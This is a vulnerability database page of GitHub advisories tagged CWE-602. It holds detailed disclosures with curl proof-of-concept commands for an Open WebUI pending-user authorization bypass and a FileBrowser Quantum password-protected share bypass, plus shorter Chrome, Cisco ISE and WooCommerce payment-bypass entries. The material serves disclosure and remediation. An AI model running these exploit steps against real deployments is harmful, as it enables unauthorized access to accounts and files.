CWE-602
Allowed-with-ReviewClient-Side Enforcement of Server-Side Security
Abstraction: Class · Status: Draft
The product is composed of a server that relies on the client to implement a mechanism that is intended to protect the server.
232 vulnerabilities reference this CWE, most recent first.
GHSA-4VG5-RP28-GVJF
Vulnerability from github – Published: 2026-05-08 22:34 – Updated: 2026-05-19 15:57CONFIDENTIAL
Vulnerability Disclosure Analysis Documentation
Vulnerability Details
| # | Field | Value |
|---|---|---|
| 1 | Discoverer | Taylor Pennington of KoreLogic, Inc. |
| 2 | Date Submitted | June 11, 2024 |
| 3 | Title | Open WebUI Improper Authorization Control |
| 5 | Affected Vendor | Open WebUI |
| 6 | Affected Product(s) | Open WebUI (Formerly Ollama WebUI) |
| 7 | Affected Version(s) | 0.1.105 |
| 8 | Platform/OS | Debian GNU/Linux 12 (bookworm) |
| 9 | Vector | HTTP web interface |
| 10 | CWE | 285 Improper Authorization |
4. High-level Summary
There is a missing authorization check affecting user accounts with a pending status allowing the user to make authenticated API calls as a user context.
11. Technical Analysis
The Open WebUI web application has three user role classifications: user, admin, and pending. By default, when Open WebUI is configured with new sign-ups enabled, the default user role is set to pending. In this configuration, an administrator is required to go into the Admin management panel following a new user registration and reconfigure the user to have a role of either user or admin before that user is able to access the web application. However, this check is only enforced at the client presentation layer, the API does not properly validate that the user has an authorized user role of user.
Request
POST /api/v1/auths/signup HTTP/1.1
Host: openwebui.example.com
Content-Length: 60
{
"name": "",
"email": "bad_guy@korelogic.com",
"password": "a"
}
Response
HTTP/1.1 200 OK
...
{
"id": "f839557a-031a-47a5-9999-0b0998f8f959",
"email": "bad_guy@korelogic.com",
"name": "",
"role": "pending",
"profile_image_url": "/user.png",
"token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImY4Mzk1NTdhLTAzMWEtNDdhNS05OTk5LTBiMDk5OGY4Zjk1OSJ9.Bk-S4ABXb1tRuiVNfOJYbQFB8ewixWA4a1FohvIZARs",
"token_type": "Bearer"
}
An attacker can then use the JWT in the above response to make direct API calls or they can forge the authentication response and use the web UI.
With the JWT, an attacker can now query the LLM. However, for this demonstration we will query the /ollama/api/tags endpoint and get a list of available models as this is an authenticated endpoint. Attempting to make this request without a valid JWT returns an HTTP 401 Unauthorized response.
Request
GET /ollama/api/tags HTTP/1.1
Host: openwebui.example.com
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImY4Mzk1NTdhLTAzMWEtNDdhNS05OTk5LTBiMDk5OGY4Zjk1OSJ9.Bk-S4ABXb1tRuiVNfOJYbQFB8ewixWA4a1FohvIZARs
Response
HTTP/1.1 200 OK
...
{
"models": [
{
"name": "ollama.com/emsi/mixtral-8x22b:latest",
"model": "ollama.com/emsi/mixtral-8x22b:latest",
"modified_at": "2024-04-12T17:27:51.479356401-04:00",
"size": 79509285991,
"digest": "9b000033acd802656a652c7df4e25300a61d903cd3c8eb065a50aaace484c319",
"details": {
"parent_model": "",
"format": "gguf",
"family": "llama",
"families": ["llama"],
"parameter_size": "141B",
"quantization_level": "Q4_0"
},
"urls": [0]
},
...
]
}
The logic for this endpoint can be seen here: https://github.com/open-webui/open-webui/blob/0399a69b73de9789c4221acedea70d528e1346c4/backend/apps/ollama/main.py#L163-L180
As shown below, the login checks if url_idx is None and if so, call get_all_mdoels and assign the result to models after that the logic checks if app.state.MODEL_FILTER_ENABLED is true and if not, it returns the result. As MODEL_FILTER_ENABLED is not configured by default, the application will not attempt to further validate the user.
@app.get("/api/tags")
@app.get("/api/tags/{url_idx}")
async def get_ollama_tags(
url_idx: Optional[int] = None, user=Depends(get_current_user)
):
if url_idx == None:
models = await get_all_models()
if app.state.MODEL_FILTER_ENABLED:
if user.role == "user":
models["models"] = list(
filter(
lambda model: model["name"] in app.state.MODEL_FILTER_LIST,
models["models"],
)
)
return models
return models
This is just an example of one API endpoint but all other regular user accessible endpoints were accessible to a pending user.
The vulnerability is caused by a missing authorization check that occurs with user=Depends(get_current_user). The logic of that function is found here:
https://github.com/open-webui/open-webui/blob/0399a69b73de9789c4221acedea70d528e1346c4/backend/utils/utils.py#L77-L97
def get_current_user(
auth_token: HTTPAuthorizationCredentials = Depends(bearer_security),
):
# auth by api key
if auth_token.credentials.startswith("sk-"):
return get_current_user_by_api_key(auth_token.credentials)
# auth by jwt token
data = decode_token(auth_token.credentials)
if data != None and "id" in data:
user = Users.get_user_by_id(data["id"])
if user is None:
raise HTTPException(
status_code=status.HTTP_401_UNAUTHORIZED,
detail=ERROR_MESSAGES.INVALID_TOKEN,
)
return user
else:
raise HTTPException(
status_code=status.HTTP_401_UNAUTHORIZED,
detail=ERROR_MESSAGES.UNAUTHORIZED,
)
As shown above, this logic does not verify the role of the user, the function simples checks if the JWT is valid.
12. Proof-of-Concept
First, verify that an unauthenticated user receives {"detail":"401 Unauthorized"}:
curl -s -X $'GET' \
-H $'Host: openwebui.example.com' \
-H $'Content-Type: application/json' \
$'https://openwebui.example.com/ollama/api/tags'
The above curl command will return: {"detail":"401 Unauthorized"} as no Authorization Bearer token is provided.
Now to access the authentication endpoint, two calls will be made. The first cURL creates an account and sets the $JWT environment variable which will be utilized in the subsequent cURL command.
export JWT=$(curl -s -X POST \
-H 'Host: openwebui.example.com' -H 'Content-Length: 60' \
-H 'Content-Type: application/json' \
--data '{"name":"","email":"bad_guy@korelogic.com","password":"a"}' \
'https://openwebui.example.com/api/v1/auths/signup' | jq '.token'|tr -d '"')
curl -v $'GET' \
-H $'Host: openwebui.example.com' \
-H $'Content-Type: application/json' \
-H $'Authorization: Bearer ${JWT}' -H $'Content-Length: 2' \
--data-binary $'\x0d\x0a' \
$'https://openwebui.example.com/ollama/api/tags'
Additionally the "role":"pending" value in the HTTP response can be forged from POST /api/v1/auths/signin and GET /api/v1/auths/ to utilize the full website. This can be achieved with a man-in-the-middle proxy such as Burp or Zap and modifying pending to user.
13. Mitigation Recommendation
The application currently has a function for checking if the user is authorized. However, it is not being utilized except for one endpoint. See https://github.com/open-webui/open-webui/blob/0399a69b73de9789c4221acedea70d528e1346c4/backend/utils/utils.py#L110-L116 for the correct function to use.
def get_verified_user(user=Depends(get_current_user)):
if user.role not in {"user", "admin"}:
raise HTTPException(
status_code=status.HTTP_401_UNAUTHORIZED,
detail=ERROR_MESSAGES.ACCESS_PROHIBITED,
)
return user
Modify all authenticated endpoints to utilize get_verified_user() function instead of get_current_user().
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.1.123"
},
"package": {
"ecosystem": "PyPI",
"name": "open-webui"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.1.124"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-44567"
],
"database_specific": {
"cwe_ids": [
"CWE-602",
"CWE-862"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-08T22:34:12Z",
"nvd_published_at": "2026-05-15T22:16:53Z",
"severity": "HIGH"
},
"details": "# **CONFIDENTIAL**\n\n# Vulnerability Disclosure Analysis Documentation\n\n---\n\n## Vulnerability Details\n\n| # | Field | Value |\n|---|-------|-------|\n| 1 | **Discoverer** | Taylor Pennington of KoreLogic, Inc. |\n| 2 | **Date Submitted** | June 11, 2024 |\n| 3 | **Title** | Open WebUI Improper Authorization Control |\n| 5 | **Affected Vendor** | Open WebUI |\n| 6 | **Affected Product(s)** | Open WebUI (Formerly Ollama WebUI) |\n| 7 | **Affected Version(s)** | 0.1.105 |\n| 8 | **Platform/OS** | Debian GNU/Linux 12 (bookworm) |\n| 9 | **Vector** | HTTP web interface |\n| 10 | **CWE** | 285 Improper Authorization |\n\n---\n\n## 4. High-level Summary\n\nThere is a missing authorization check affecting user accounts with a `pending` status allowing the user to make authenticated API calls as a `user` context.\n\n---\n\n## 11. Technical Analysis\n\nThe Open WebUI web application has three user role classifications: `user`, `admin`, and `pending`. By default, when Open WebUI is configured with `new sign-ups` enabled, the default user role is set to `pending`. In this configuration, an administrator is required to go into the Admin management panel following a new user registration and reconfigure the user to have a role of either `user` or `admin` before that user is able to access the web application. However, this check is only enforced at the client presentation layer, the API does not properly validate that the user has an authorized user role of `user`.\n\n### Request\n\n```http\nPOST /api/v1/auths/signup HTTP/1.1\nHost: openwebui.example.com\nContent-Length: 60\n\n{ \n \"name\": \"\", \n \"email\": \"bad_guy@korelogic.com\", \n \"password\": \"a\" \n }\n```\n\n### Response\n\n```http\nHTTP/1.1 200 OK\n...\n\n{\n\"id\": \"f839557a-031a-47a5-9999-0b0998f8f959\",\n\"email\": \"bad_guy@korelogic.com\",\n\"name\": \"\",\n\"role\": \"pending\",\n\"profile_image_url\": \"/user.png\",\n\"token\": \"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImY4Mzk1NTdhLTAzMWEtNDdhNS05OTk5LTBiMDk5OGY4Zjk1OSJ9.Bk-S4ABXb1tRuiVNfOJYbQFB8ewixWA4a1FohvIZARs\",\n\"token_type\": \"Bearer\"\n}\n```\n\nAn attacker can then use the JWT in the above response to make direct API calls or they can forge the authentication response and use the web UI.\n\nWith the JWT, an attacker can now query the LLM. However, for this demonstration we will query the `/ollama/api/tags` endpoint and get a list of available models as this is an authenticated endpoint. Attempting to make this request without a valid JWT returns an HTTP `401 Unauthorized` response.\n\n### Request\n\n```http\nGET /ollama/api/tags HTTP/1.1\nHost: openwebui.example.com\nAuthorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImY4Mzk1NTdhLTAzMWEtNDdhNS05OTk5LTBiMDk5OGY4Zjk1OSJ9.Bk-S4ABXb1tRuiVNfOJYbQFB8ewixWA4a1FohvIZARs\n```\n\n### Response\n\n```http\nHTTP/1.1 200 OK\n...\n\n{\n\"models\": [\n {\n \"name\": \"ollama.com/emsi/mixtral-8x22b:latest\",\n \"model\": \"ollama.com/emsi/mixtral-8x22b:latest\",\n \"modified_at\": \"2024-04-12T17:27:51.479356401-04:00\",\n \"size\": 79509285991,\n \"digest\": \"9b000033acd802656a652c7df4e25300a61d903cd3c8eb065a50aaace484c319\",\n \"details\": {\n \"parent_model\": \"\",\n \"format\": \"gguf\",\n \"family\": \"llama\",\n \"families\": [\"llama\"],\n \"parameter_size\": \"141B\",\n \"quantization_level\": \"Q4_0\"\n },\n \"urls\": [0]\n },\n ...\n]\n}\n```\n\nThe logic for this endpoint can be seen here:\n\u003chttps://github.com/open-webui/open-webui/blob/0399a69b73de9789c4221acedea70d528e1346c4/backend/apps/ollama/main.py#L163-L180\u003e\n\nAs shown below, the login checks if `url_idx` is `None` and if so, call `get_all_mdoels` and assign the result to `models` after that the logic checks if `app.state.MODEL_FILTER_ENABLED` is true and if not, it returns the result. As `MODEL_FILTER_ENABLED` is not configured by default, the application will not attempt to further validate the user.\n\n```python\n@app.get(\"/api/tags\")\n@app.get(\"/api/tags/{url_idx}\")\nasync def get_ollama_tags(\n url_idx: Optional[int] = None, user=Depends(get_current_user)\n):\n if url_idx == None:\n models = await get_all_models()\n \n if app.state.MODEL_FILTER_ENABLED:\n if user.role == \"user\":\n models[\"models\"] = list(\n filter(\n lambda model: model[\"name\"] in app.state.MODEL_FILTER_LIST,\n models[\"models\"],\n )\n )\n return models\n return models\n```\n\nThis is just an example of one API endpoint but all other regular user accessible endpoints were accessible to a pending user.\n\nThe vulnerability is caused by a missing authorization check that occurs with `user=Depends(get_current_user)`. The logic of that function is found here:\n\u003chttps://github.com/open-webui/open-webui/blob/0399a69b73de9789c4221acedea70d528e1346c4/backend/utils/utils.py#L77-L97\u003e\n\n```python\ndef get_current_user(\nauth_token: HTTPAuthorizationCredentials = Depends(bearer_security),\n):\n # auth by api key\n if auth_token.credentials.startswith(\"sk-\"):\n return get_current_user_by_api_key(auth_token.credentials)\n # auth by jwt token\n data = decode_token(auth_token.credentials)\n if data != None and \"id\" in data:\n user = Users.get_user_by_id(data[\"id\"])\n if user is None:\n raise HTTPException(\n status_code=status.HTTP_401_UNAUTHORIZED,\n detail=ERROR_MESSAGES.INVALID_TOKEN,\n )\n return user\n else:\n raise HTTPException(\n status_code=status.HTTP_401_UNAUTHORIZED,\n detail=ERROR_MESSAGES.UNAUTHORIZED,\n )\n```\n\nAs shown above, this logic does not verify the role of the user, the function simples checks if the JWT is valid.\n\n---\n\n## 12. Proof-of-Concept\n\nFirst, verify that an unauthenticated user receives `{\"detail\":\"401 Unauthorized\"}`:\n\n```bash\ncurl -s -X $\u0027GET\u0027 \\\n -H $\u0027Host: openwebui.example.com\u0027 \\\n -H $\u0027Content-Type: application/json\u0027 \\\n $\u0027https://openwebui.example.com/ollama/api/tags\u0027\n```\n\nThe above curl command will return: `{\"detail\":\"401 Unauthorized\"}` as no Authorization Bearer token is provided.\n\nNow to access the authentication endpoint, two calls will be made. The first cURL creates an account and sets the `$JWT` environment variable which will be utilized in the subsequent cURL command.\n\n```bash\nexport JWT=$(curl -s -X POST \\\n -H \u0027Host: openwebui.example.com\u0027 -H \u0027Content-Length: 60\u0027 \\\n -H \u0027Content-Type: application/json\u0027 \\\n --data \u0027{\"name\":\"\",\"email\":\"bad_guy@korelogic.com\",\"password\":\"a\"}\u0027 \\\n \u0027https://openwebui.example.com/api/v1/auths/signup\u0027 | jq \u0027.token\u0027|tr -d \u0027\"\u0027)\n\ncurl -v $\u0027GET\u0027 \\\n -H $\u0027Host: openwebui.example.com\u0027 \\\n -H $\u0027Content-Type: application/json\u0027 \\\n -H $\u0027Authorization: Bearer ${JWT}\u0027 -H $\u0027Content-Length: 2\u0027 \\\n --data-binary $\u0027\\x0d\\x0a\u0027 \\\n $\u0027https://openwebui.example.com/ollama/api/tags\u0027\n```\n\nAdditionally the `\"role\":\"pending\"` value in the HTTP response can be forged from `POST /api/v1/auths/signin` and `GET /api/v1/auths/` to utilize the full website. This can be achieved with a man-in-the-middle proxy such as Burp or Zap and modifying `pending` to `user`.\n\n---\n\n## 13. Mitigation Recommendation\n\nThe application currently has a function for checking if the user is authorized. However, it is not being utilized except for one endpoint. See \u003chttps://github.com/open-webui/open-webui/blob/0399a69b73de9789c4221acedea70d528e1346c4/backend/utils/utils.py#L110-L116\u003e for the correct function to use.\n\n```python\ndef get_verified_user(user=Depends(get_current_user)):\nif user.role not in {\"user\", \"admin\"}:\n raise HTTPException(\n status_code=status.HTTP_401_UNAUTHORIZED,\n detail=ERROR_MESSAGES.ACCESS_PROHIBITED,\n )\nreturn user\n```\n\nModify all authenticated endpoints to utilize `get_verified_user()` function instead of `get_current_user()`.",
"id": "GHSA-4vg5-rp28-gvjf",
"modified": "2026-05-19T15:57:37Z",
"published": "2026-05-08T22:34:12Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-4vg5-rp28-gvjf"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44567"
},
{
"type": "PACKAGE",
"url": "https://github.com/open-webui/open-webui"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "Open WebUI has Improper Authorization Control"
}
GHSA-4WG5-GH53-4JF5
Vulnerability from github – Published: 2022-09-27 00:00 – Updated: 2025-05-22 15:34Insufficient policy enforcement in Extensions API in Google Chrome prior to 105.0.5195.52 allowed an attacker who convinced a user to install a malicious extension to bypass downloads policy via a crafted HTML page.
{
"affected": [],
"aliases": [
"CVE-2022-3047"
],
"database_specific": {
"cwe_ids": [
"CWE-602",
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-09-26T16:15:00Z",
"severity": "MODERATE"
},
"details": "Insufficient policy enforcement in Extensions API in Google Chrome prior to 105.0.5195.52 allowed an attacker who convinced a user to install a malicious extension to bypass downloads policy via a crafted HTML page.",
"id": "GHSA-4wg5-gh53-4jf5",
"modified": "2025-05-22T15:34:42Z",
"published": "2022-09-27T00:00:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-3047"
},
{
"type": "WEB",
"url": "https://chromereleases.googleblog.com/2022/08/stable-channel-update-for-desktop_30.html"
},
{
"type": "WEB",
"url": "https://crbug.com/1342586"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/T4NMJURTG5RO3TGD7ZMIQ6Z4ZZ3SAVYE"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/T4NMJURTG5RO3TGD7ZMIQ6Z4ZZ3SAVYE"
},
{
"type": "WEB",
"url": "https://security.gentoo.org/glsa/202209-23"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-4X4V-CW6F-WC3M
Vulnerability from github – Published: 2026-03-12 00:31 – Updated: 2026-03-12 15:30Insufficient policy enforcement in DevTools in Google Chrome prior to 146.0.7680.71 allowed a remote attacker to bypass navigation restrictions via a crafted HTML page. (Chromium security severity: Low)
{
"affected": [],
"aliases": [
"CVE-2026-3941"
],
"database_specific": {
"cwe_ids": [
"CWE-602"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-11T22:16:36Z",
"severity": "MODERATE"
},
"details": "Insufficient policy enforcement in DevTools in Google Chrome prior to 146.0.7680.71 allowed a remote attacker to bypass navigation restrictions via a crafted HTML page. (Chromium security severity: Low)",
"id": "GHSA-4x4v-cw6f-wc3m",
"modified": "2026-03-12T15:30:25Z",
"published": "2026-03-12T00:31:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-3941"
},
{
"type": "WEB",
"url": "https://chromereleases.googleblog.com/2026/03/stable-channel-update-for-desktop_10.html"
},
{
"type": "WEB",
"url": "https://issues.chromium.org/issues/474670215"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-525J-95GF-766F
Vulnerability from github – Published: 2026-03-09 19:48 – Updated: 2026-04-27 14:57Summary
The remediation for CVE-2026-27611 appears incomplete. Password protected shares still disclose tokenized downloadURL via /public/api/share/info in docker image gtstef/filebrowser:1.3.1-webdav-2.
Details
The issue stems from two flaws: 1. Tokenized download URLs are written into the persistent share model
backend/http/share.go
convertToFrontendShareResponse(line 63)
s.DownloadURL = getShareURL(r, s.Hash, true, s.Token)
- The public endpoint:
GET /public/api/share/info
returns shareLink.CommonShare without clearing DownloadURL.
Since Token is set for password-protected shares, and getShareURL(..., true, token) embeds it as a query parameter, the public API discloses a valid bearer download capability.
The previous patch removed token generation in one handler but did not address the persisted DownloadURL values/Public reflection of existing DownloadURL
PoC
-
Create a password protected share as an authenticated user
-
Copy the public share URL (the clipboard WITHOUT an arrow)
http://yourdomain/public/share/yoursharedhash
Example:
http://yourdomain/public/share/2EBGbXgXg5dpw-nK0RG6vw -
Query the public share endpoint via curl request:
curl 'http://yourdomain/public/api/share/info?hash=(your-share-hash)' -H 'Accept: */*'
Example:
curl 'http://yourdomain/public/api/share/info?hash=2EBGbXgXg5dpw-nK0RG6vw' -H 'Accept: */*'Response includes:
{ "shareTheme": "default", "title": "Shared files - test.md", "description": "A share has been sent to you to view or download.", "disableSidebar": false, "downloadURL": "http://yourdomain/public/api/resources/download?hash=2EBGbXgXg5dpw-nK0RG6vw\u0026token=EGGYjfyMgqlqknDAIjXekI3DXJ40Nxht.5-q3gnZVbeJ1KYTc-gLb04N6smp-AH2-d4AUFLXgQ6I%3D", "shareURL": "http://yourdomain/public/share/2EBGbXgXg5dpw-nK0RG6vw", "enforceDarkLightMode": "default", "viewMode": "normal", "shareType": "normal", "sidebarLinks": [ { "name": "Share QR Code and Info", "category": "shareInfo", "target": "#", "icon": "qr_code" }, { "name": "Download", "category": "download", "target": "#", "icon": "download" }, { "name": "sourceLocation", "category": "custom", "target": "/srv/test.md", "icon": "" } ], "hasPassword": true, "disableLoginOption": false, "sourceURL": "/srv/test.md" }Note the response "hasPassword": true and downloadURL includes token= parameter -
Take the downloadURL(seen in json data response) and replace \u0026 with & and paste link into Incognito or private browser to ensure cookies are not interfering
Example:http://yourdomain/public/api/resources/download?hash=2EBGbXgXg5dpw-nK0RG6vw&token=EGGYjfyMgqlqknDAIjXekI3DXJ40Nxht.5-q3gnZVbeJ1KYTc-gLb04N6smp-AH2-d4AUFLXgQ6I%3D
Browser downloads file immediately without requiring password
Impact
An unauthenticated attacker can retrieve password protected shared files without the password. Results in authentication bypass, unauthorized file access and confidentiality compromise
Recommended Remediation
Sanitize DownloadURL in public share info responses via commonShare.DownloadURL = "" before returning the json response in shareInfoHandler method located in backend/share.go
Structural fix, only generate tokenized URLs after successful password validation
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/gtsteffaniak/filebrowser/backend"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.0-20260307130210-09713b32a5f6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-30933"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-306",
"CWE-602"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-09T19:48:12Z",
"nvd_published_at": "2026-03-10T18:18:53Z",
"severity": "HIGH"
},
"details": "### Summary\nThe remediation for CVE-2026-27611 appears incomplete. Password protected shares still disclose tokenized downloadURL via /public/api/share/info in docker image gtstef/filebrowser:1.3.1-webdav-2. \n\n\n### Details\nThe issue stems from two flaws:\n1. Tokenized download URLs are written into the persistent share model\n```\nbackend/http/share.go\nconvertToFrontendShareResponse(line 63)\ns.DownloadURL = getShareURL(r, s.Hash, true, s.Token)\n```\n2. The public endpoint:\n```\nGET /public/api/share/info\nreturns shareLink.CommonShare without clearing DownloadURL.\n```\n\nSince Token is set for password-protected shares, and getShareURL(..., true, token) embeds it as a query parameter, the public API discloses a valid bearer download capability.\n\nThe previous patch removed token generation in one handler but did not address the persisted DownloadURL values/Public reflection of existing DownloadURL\n\n\n### PoC\n1. Create a password protected share as an authenticated user \n\n2. Copy the public share URL (the clipboard WITHOUT an arrow) \n `http://yourdomain/public/share/yoursharedhash` \n Example: \n `http://yourdomain/public/share/2EBGbXgXg5dpw-nK0RG6vw` \n\n3. Query the public share endpoint via curl request: \n`curl \u0027http://yourdomain/public/api/share/info?hash=(your-share-hash)\u0027 -H \u0027Accept: */*\u0027 ` \nExample: \n`curl \u0027http://yourdomain/public/api/share/info?hash=2EBGbXgXg5dpw-nK0RG6vw\u0027 -H \u0027Accept: */*\u0027 ` \n \n Response includes:\n ```\n {\n \"shareTheme\": \"default\",\n \"title\": \"Shared files - test.md\",\n \"description\": \"A share has been sent to you to view or download.\",\n \"disableSidebar\": false,\n \"downloadURL\": \"http://yourdomain/public/api/resources/download?hash=2EBGbXgXg5dpw-nK0RG6vw\\u0026token=EGGYjfyMgqlqknDAIjXekI3DXJ40Nxht.5-q3gnZVbeJ1KYTc-gLb04N6smp-AH2-d4AUFLXgQ6I%3D\",\n \"shareURL\": \"http://yourdomain/public/share/2EBGbXgXg5dpw-nK0RG6vw\",\n \"enforceDarkLightMode\": \"default\",\n \"viewMode\": \"normal\",\n \"shareType\": \"normal\",\n \"sidebarLinks\": [\n {\n \"name\": \"Share QR Code and Info\",\n \"category\": \"shareInfo\",\n \"target\": \"#\",\n \"icon\": \"qr_code\"\n },\n {\n \"name\": \"Download\",\n \"category\": \"download\",\n \"target\": \"#\",\n \"icon\": \"download\"\n },\n {\n \"name\": \"sourceLocation\",\n \"category\": \"custom\",\n \"target\": \"/srv/test.md\",\n \"icon\": \"\"\n }\n ],\n \"hasPassword\": true,\n \"disableLoginOption\": false,\n \"sourceURL\": \"/srv/test.md\"\n }\n ```\nNote the response \"hasPassword\": true and downloadURL includes token= parameter\n\n\n4. Take the downloadURL(seen in json data response) and replace \\u0026 with \u0026 and paste link into Incognito or private browser to ensure cookies are not interfering \nExample:\n`http://yourdomain/public/api/resources/download?hash=2EBGbXgXg5dpw-nK0RG6vw\u0026token=EGGYjfyMgqlqknDAIjXekI3DXJ40Nxht.5-q3gnZVbeJ1KYTc-gLb04N6smp-AH2-d4AUFLXgQ6I%3D`\n\nBrowser downloads file immediately without requiring password\n\n### Impact \nAn unauthenticated attacker can retrieve password protected shared files without the password.\nResults in authentication bypass, unauthorized file access and confidentiality compromise\n\n### Recommended Remediation\nSanitize DownloadURL in public share info responses via `commonShare.DownloadURL = \"\"` before returning the json response in shareInfoHandler method located in backend/share.go\n\nStructural fix, only generate tokenized URLs after successful password validation",
"id": "GHSA-525j-95gf-766f",
"modified": "2026-04-27T14:57:02Z",
"published": "2026-03-09T19:48:12Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gtsteffaniak/filebrowser/security/advisories/GHSA-525j-95gf-766f"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30933"
},
{
"type": "PACKAGE",
"url": "https://github.com/gtsteffaniak/filebrowser"
},
{
"type": "WEB",
"url": "https://github.com/gtsteffaniak/filebrowser/releases/tag/v1.2.2-stable"
},
{
"type": "WEB",
"url": "https://github.com/gtsteffaniak/filebrowser/releases/tag/v1.3.1-beta"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "FileBrowser Quantum: Password-Protected Share Bypass via /public/api/share/info"
}
GHSA-5467-4V7J-WXX3
Vulnerability from github – Published: 2023-05-18 03:30 – Updated: 2023-05-18 03:30Multiple vulnerabilities in Cisco Identity Services Engine (ISE) could allow an authenticated attacker to delete or read arbitrary files on the underlying operating system. To exploit these vulnerabilities, an attacker must have valid credentials on an affected device. For more information about these vulnerabilities, see the Details section of this advisory.
{
"affected": [],
"aliases": [
"CVE-2023-20106"
],
"database_specific": {
"cwe_ids": [
"CWE-602"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-05-18T03:15:09Z",
"severity": "MODERATE"
},
"details": "Multiple vulnerabilities in Cisco Identity Services Engine (ISE) could allow an authenticated attacker to delete or read arbitrary files on the underlying operating system. To exploit these vulnerabilities, an attacker must have valid credentials on an affected device.\n For more information about these vulnerabilities, see the Details section of this advisory.\n ",
"id": "GHSA-5467-4v7j-wxx3",
"modified": "2023-05-18T03:30:20Z",
"published": "2023-05-18T03:30:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-20106"
},
{
"type": "WEB",
"url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ise-file-delete-read-PK5ghDDd"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-55W8-XJQC-7VRP
Vulnerability from github – Published: 2025-11-27 06:31 – Updated: 2025-11-27 06:31The SKT PayPal for WooCommerce plugin for WordPress is vulnerable to Payment Bypass in all versions up to, and including, 1.4. This is due to the plugin only enforcing client side controls instead of server-side controls when processing payments. This makes it possible for unauthenticated attackers to make confirmed purchases without actually paying for them.
{
"affected": [],
"aliases": [
"CVE-2025-7820"
],
"database_specific": {
"cwe_ids": [
"CWE-602"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-11-27T05:16:17Z",
"severity": "HIGH"
},
"details": "The SKT PayPal for WooCommerce plugin for WordPress is vulnerable to Payment Bypass in all versions up to, and including, 1.4. This is due to the plugin only enforcing client side controls instead of server-side controls when processing payments. This makes it possible for unauthenticated attackers to make confirmed purchases without actually paying for them.",
"id": "GHSA-55w8-xjqc-7vrp",
"modified": "2025-11-27T06:31:26Z",
"published": "2025-11-27T06:31:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-7820"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026old=3403118%40skt-paypal-for-woocommerce\u0026new=3403118%40skt-paypal-for-woocommerce\u0026sfp_email=\u0026sfph_mail="
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/1a67b1b3-eb39-4e9a-ba44-ea637fc3bba1?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-5HQ7-95MX-PCJQ
